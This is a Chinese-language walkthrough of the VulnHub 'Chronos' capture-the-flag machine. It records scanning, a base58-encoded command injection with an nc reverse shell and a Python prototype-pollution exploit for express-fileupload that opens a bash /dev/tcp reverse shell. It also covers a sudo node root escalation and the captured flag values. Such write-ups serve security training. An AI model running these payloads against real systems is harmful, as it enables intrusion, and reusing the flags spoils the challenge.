vulnhub靶场-Chronos
1、靶机信息
靶机名称：Chronos
靶机难度：中等
虚拟机环境：此靶机推荐使用Virtualbox搭建
目标：取得 2 个 flag + root 权限
靶机地址：https://download.vulnhub.com/chronos/Chronos.ova
| kali服务器IP |
192.168.137.81 |
| 靶机IP |
192.168.137.205 |
2、主机发现
通过使用arp协议对同一网段的靶机进行主机发现，扫描出192.168.137.205为我们目标靶机
arp-scan -l
3、端口扫描
通过使用nmap工具对全端口进行发现，再进行版本扫描，我们发现开放22,80,8000三个端口
nmap -p- 192.168.137.205
nmap -sV -p 22,80,8000 192.168.137.205
4、Web信息收集
4.1 打开80端口Web页面
4.2 查看页面源代码，我们在其中发现一串可疑信息，使用Cyberchef对js进行美化，调用JavaScript Beautify让其变为更直观
var _0x5bdf = [
'150447srWefj',
'70lwLrol',
'1658165LmcNig',
'open',
'1260881JUqdKM',
'10737CrnEEe',
'2SjTdWC',
'readyState',
'responseText',
'1278676qXleJg',
'797116soVTES',
'onreadystatechange',
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
'User-Agent',
'status',
'1DYOODT',
'400909Mbbcfr',
'Chronos',
'2QRBPWS',
'getElementById',
'innerHTML',
'date'
];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
if (_0x35824b === _0x817e36)
break;
else
_0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 126;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(137)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();4.3 在页面源代码中发现一串疑似Base编码，'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',使用cyberchef 进行解码
解码前：
4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
使用cyberchef magic功能解码后：
'+Today is %A, %B %d, %Y %H:%M:%S.'
4.4 http://chronos.local:8000 似乎是作者引导我们去访问这个站点，而这台靶机开放了8000端口，我们改一下/etc/hosts文件，重新刷新页面，页面出现了一行日期，这行日期就是4.3解码后的内容，那这边可能是存在一个命令执行
4.5 我们使用burp进行抓包，并修改base58的值，使用CyberChef 进行转换
4.6 burp修改请求，发现命令成功执行
4.7 使用nc进行反弹shell
&& nc 192.168.137.81 8888 | /bin/bash | nc 192.168.137.81 9999
base58编码后：
3Gho48Ayo8ZTkKBJiuZUzjx5XbQLrVocowNVvpHX9LSew4WpvASt4istptg6FQeT7kapen7QxKdVGC5uL75aG
5、本地提权
5.1 本地文件信息收集，发现本机还有一个用户imera
cat /etc/passwd
5.2 在imera目录下，发现user.txt，但我们没有权限访问，那作者的意图很明显，需要我们提权到imera用户或者root用户去打开这个文件
5.3 在/opt/chronos-v2/backend中，发现一个server.js文件，通过搜索，我们发现express fileupload存在一个命令注入漏洞，并且此web服务存在于本机127.0.0.1的8080端口
5.4 使用exp直接利用，取得imera用户权限
项目原文地址：Real-world JS - 1
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.137.81/9999 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
5.5 获取第一个flag，在imera用户目录下
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
5.6 再次尝试提权到root，我们发现此用户可以无密码以root身份调用node和npm命令
5.7 使用node提权成功
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'
5.8 拿到最后一个flag，在root目录下
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
